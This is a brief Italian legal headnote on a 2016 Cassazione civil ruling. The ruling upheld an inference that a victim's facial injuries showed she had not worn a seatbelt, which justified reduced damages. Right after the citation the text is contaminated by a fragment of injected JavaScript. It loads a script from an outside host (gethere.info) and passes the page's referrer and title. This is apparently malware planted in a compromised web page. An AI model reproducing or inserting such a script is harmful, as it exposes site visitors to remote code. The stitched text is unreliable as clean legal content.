Risulta corretta la decisione dei giudici del merito i quali hanno ritenuto che dal fatto noto che la vittima avesse patito ferite al volto, potesse risalirsi ex art. 2727 c.c. al fatto ignoto che non avesse allacciato le cinture di sicurezza, in virtù del rilievo che le ferite al volto non potevano avere altra plausibile causa che l’impatto contro le parti interne dell’abitacolo, favorito dal mancato uso dei sistemi di ritenuta, con ciò riducendo l’importo del risarcimento dovutole.
Cassazione civile sez. VI, 04/11/2016 n. 22351s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;